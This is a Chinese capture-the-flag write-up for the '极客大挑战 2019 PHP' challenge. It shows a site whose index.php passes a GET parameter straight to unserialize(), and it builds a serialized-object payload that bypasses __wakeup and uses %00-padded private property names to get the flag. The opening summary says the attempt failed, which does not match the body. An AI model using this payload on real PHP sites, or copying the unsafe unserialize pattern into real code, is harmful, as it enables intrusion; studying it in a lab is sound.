这篇博客详细介绍了如何解析一个PHP网站的源码，特别是关注了`unserialize`函数的使用。文章中提到，通过修改序列化字符串来绕过`__wakeup`函数的限制，尝试获取flag。然而，由于private属性的限制，需要使用%00截断来访问。虽然尝试了多种方法，但最终未能成功获取flag。博客还涉及了PHP类的构造函数、析构函数以及错误报告设置等相关知识。
[极客大挑战 2019]PHP
打开后提示有备份
测试常用的几个备份的后缀最终发现www.zip可以获得源码
发现有一个flag.php以为就成功了，结果。。。。
再去看index.php
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我！！！
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
发现几句重要的
> include 'class.php';
> $select = $_GET['select'];
> $res=unserialize(@$select);
>
这里用到的函数有：
unserialize()：
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化，并返回原始的对象结构
那这几行代码的大体意思就可以知道了
包含class.php,并且以get方式获取select参数,将select参数的值进行反序列化传给res
class.php
<?php
include 'flag.php'; //包含flag.php
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们想要输出flag，它有个判断条件，是username绝对等于admin
再往上看，发现password要弱等于100
但是wakeup函数里会把我们的username赋值为guest。
因为__wakeup函数是在__destruct函数之前运行的，所以我们要绕过它。
要绕过__wakeup只要让说明的参数个数大于实际的参数个数就行了。
首先在线运行一下，生成序列化后的字符串
<?php
class Name{
private $username = 'admin';
private $password = '100';#这里也可以换成数字100
}
$name = new Name;
print(serialize($name));
?>
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;s:3:“100”;}
也就是把上面的那个2改成3：
O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;s:3:“100”;}
去尝试一下发现并不能成功
这里我们还要了解一些知识点
因为成员（属性）是private，所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出
所以
O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
扫一扫
3万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
